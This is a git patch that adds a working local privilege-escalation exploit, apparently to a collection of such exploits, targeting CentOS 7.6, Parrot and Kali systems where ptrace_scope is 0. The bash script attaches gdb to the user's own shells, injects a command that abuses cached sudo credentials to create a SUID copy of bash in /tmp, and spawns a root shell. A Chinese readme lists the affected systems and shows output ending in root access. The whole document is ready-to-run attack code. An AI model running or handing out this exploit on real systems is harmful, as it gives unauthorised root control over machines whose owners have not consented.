From 825baf840f6df2bf078c446e49b4542d6f5d45a9 Mon Sep 17 00:00:00 2001
From: helloexp <21156949+helloexp@users.noreply.github.com>
Date: Thu, 24 Feb 2022 17:47:58 +0800
Subject: [PATCH] =?UTF-8?q?add=20CentOS=207.6=20-=20'ptrace=5Fscope'=20?=
 =?UTF-8?q?=E6=9C=AC=E5=9C=B0=E6=8F=90=E6=9D=83=E6=BC=8F=E6=B4=9E?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../exploit.sh                                | 39 ++++++++++++++++
 .../readme.md                                 | 46 +++++++++++++++++++
 2 files changed, 85 insertions(+)
 create mode 100644 98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/exploit.sh
 create mode 100644 98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/readme.md

diff --git a/98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/exploit.sh b/98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/exploit.sh
new file mode 100644
index 0000000..83ce8ef
--- /dev/null
+++ b/98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/exploit.sh	
@@ -0,0 +1,39 @@
+function startAttack(){
+  tput civis && pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d' | while read shell_pid; do
+    if [ $(cat /proc/$shell_pid/comm 2>/dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then
+      echo "[*] PID -> "$(cat "/proc/$shell_pid/comm" 2>/dev/null)
+      echo "[*] Path $(pwdx $shell_pid 2>/dev/null)"
+    fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1")' | gdb -q -n -p "$shell_pid" >/dev/null 2>&1
+    done
+
+    if [ -f /tmp/bash ]; then
+      /tmp/bash -p -c 'echo -ne "\n[*] Cleaning up..."
+                       rm /tmp/bash
+                       echo -e "                            [√]"
+                       echo -ne "[*] Spawning root shell..."
+                       echo -e "                    [√]\n"
+                       tput cnorm && bash -p'
+    else
+      echo -e "\n[*] Could not copy SUID to /tmp/bash          [✗]"
+    fi
+}
+
+echo -ne "[*] Checking if 'ptrace_scope' is set to 0..."
+if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then
+  echo " [√]"
+  echo -ne "[*] Checking if 'GDB' is installed..."
+  if command -v gdb >/dev/null 2>&1; then
+    echo -e "         [√]"
+    echo -e "[*] System seems vulnerable!                  [√]\n"
+    echo -e "[*] Starting attack..."
+
+    startAttack
+
+  else
+    echo "         [✗]"
+    echo "[*] System is NOT vulnerable :(               [✗]"
+  fi
+else
+  echo " [✗]"
+  echo "[*] System is NOT vulnerable :(               [✗]"
+fi; tput cnorm
\ No newline at end of file
diff --git a/98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/readme.md b/98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/readme.md
new file mode 100644
index 0000000..122fde8
--- /dev/null
+++ b/98-Linux提权/CentOS 7.6 - 'ptrace_scope' Privilege Escalation/readme.md	
@@ -0,0 +1,46 @@
+## 受影响系统:
+Parrot Home/Workstation    4.6 (Latest Version)  
+Parrot Security            4.6 (Latest Version)  
+CentOS / RedHat            7.6 (Latest Version)  
+Kali Linux              2018.4 (Latest Version)  
+
+## 提权过程
+```shell script
+┌─[s4vitar@parrot]─[~/Desktop/Exploit/Privesc]
+└──╼ $./exploit.sh
+
+[*] Checking if 'ptrace_scope' is set to 0... [√]
+[*] Checking if 'GDB' is installed...         [√]
+[*] System seems vulnerable!                  [√]
+
+[*] Starting attack...
+[*] PID -> sh
+[*] Path 824: /home/s4vitar
+[*] PID -> bash
+[*] Path 832: /home/s4vitar/Desktop/Exploit/Privesc
+[*] PID -> sh
+[*] Path
+[*] PID -> sh
+[*] Path
+[*] PID -> sh
+[*] Path
+[*] PID -> sh
+[*] Path
+[*] PID -> bash
+[*] Path 1816: /home/s4vitar/Desktop/Exploit/Privesc
+[*] PID -> bash
+[*] Path 1842: /home/s4vitar
+[*] PID -> bash
+[*] Path 1852: /home/s4vitar/Desktop/Exploit/Privesc
+[*] PID -> bash
+[*] Path 1857: /home/s4vitar/Desktop/Exploit/Privesc
+
+[*] Cleaning up...                            [√]
+[*] Spawning root shell...                    [√]
+
+bash-4.4# whoami
+root
+bash-4.4# id
+uid=1000(s4vitar) gid=1000(s4vitar) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(debian-tor),124(bluetooth),136(scanner),1000(s4vitar)
+bash-4.4#
+```
\ No newline at end of file